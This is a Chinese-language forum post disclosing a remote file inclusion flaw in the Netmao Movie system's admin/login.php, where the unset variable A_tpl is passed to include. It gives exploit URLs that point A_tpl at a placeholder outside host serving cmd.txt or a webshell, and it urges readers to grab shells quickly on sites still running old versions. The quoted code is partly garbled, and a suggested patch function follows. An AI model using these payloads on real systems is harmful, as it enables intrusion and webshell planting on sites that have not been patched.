IceskYsl在NOHACK上发表的php漏洞专题。第一次就是包含文件漏洞。
那今天我就很快找到了一个,不敢独享!呵呵。
程序:Netmao Movie网猫电影系统。
说明下:现在它的最新版本是3.0,由于加密了,所以就不好继续研究。 不过网上使用的很多都不是最新的版本。所以想拿shell的要赶快哦。
漏洞文件:admin目录下的login.php文件。
代码:
if($action==’login’){
@session_start退出!",’?file=login’);
} else {
include $A_tpl.’/login.tpl.php’; } |
我们直奔else语句里的代码。变量A_tpl 没赋值,直接拿来用。 直接输入admin/login.php可以暴出路径。
EXP: ⑴ admin/login.php?A_tpl=http://www.xxxx.com/cmd.txt? ⑵ 在一个不支持php脚本的空间建立一个login.tpl.php(当然是自己的脚本木马咯) 访问admin/login.php?A_tpl=http://www.xxxx.com 即可。
好了,结束。。初来~请各位牛人多多指教。
--------------------------------------------------------------------------------------------------- 修补漏洞的方案:
function StopRemoteInclude($InclueName){ if(strpos($InclueName,’\\’)!==false){ return substr($InclueName,0,strrpos($InclueName,’\\’)); }elseif(strpos($InclueName,’/’)!==false){ return substr($InclueName,0,strrpos($InclueName,’/’)); }else{ return ’/’; } } define(’S_Dir’,__FILE__?StopRemoteInclude(__FILE__).’/’ : ’./’); ------------------------------------------------------------------------------------------------------------- | |